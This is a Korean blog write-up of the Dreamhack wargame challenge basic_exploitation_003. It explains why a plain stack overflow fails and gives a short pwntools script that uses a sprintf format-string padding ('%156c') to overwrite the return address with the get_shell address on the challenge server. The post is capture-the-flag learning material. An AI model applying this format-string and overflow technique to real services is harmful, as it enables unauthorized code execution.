본문 바로가기

Dreamhack - basic_exploitation_003 본문

wargame/DreamHack

Dreamhack - basic_exploitation_003

Seongjun_You 2021. 11. 3. 18:43

https://dreamhack.io/wargame/challenges/5/

 

basic_exploitation_003

Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "fla

dreamhack.io

힙 영역에서 입력을 받고 sprintf를 이용해 stack으로 복사해 출력한다.

stack_buf의 크기는 0x90이고 read를 통해 읽어오는 데이터는 0x80이다.

일반적인 bof는 불가능 하다.

 

일단 실행을 해보자

에코 프로그램이다.

 

gdb를 돌려보겠다.

 

ret에 bp를 걸고 확인했다.

입력은 A*8개이다.

 

 

0x98개만큼 입력한 후 ret주소를 get_shell주소로 덮으면 된다.

 

 

 

역시나 안된다.

힙에서 0x80만큼만 읽어오기 때문이다.

 

sprintf에서 발생하는 FSB취약점을 이용하도록 한다.

 

exploit code

from pwn import *
p = remote("host1.dreamhack.games", 20909)
payload = b'%156c'
payload +=p32(0x08048669)
p.send(payload)
p.interactive()

FSB + BOF를 이용한 공격이다.

0x98(152) + sfp(4) = 156

 

해냈다.

'wargame > DreamHack' 카테고리의 다른 글

off_by_one_001  (0) 2021.11.28
Dreamhack - off_by_one_000  (0) 2021.11.15
Dreamhack - basic_exploitation_002  (0) 2021.11.03
Dreamhack - basic_exploitation_001  (0) 2021.11.03
Dreamhack - basic_exploitation_000  (0) 2021.11.03
Comments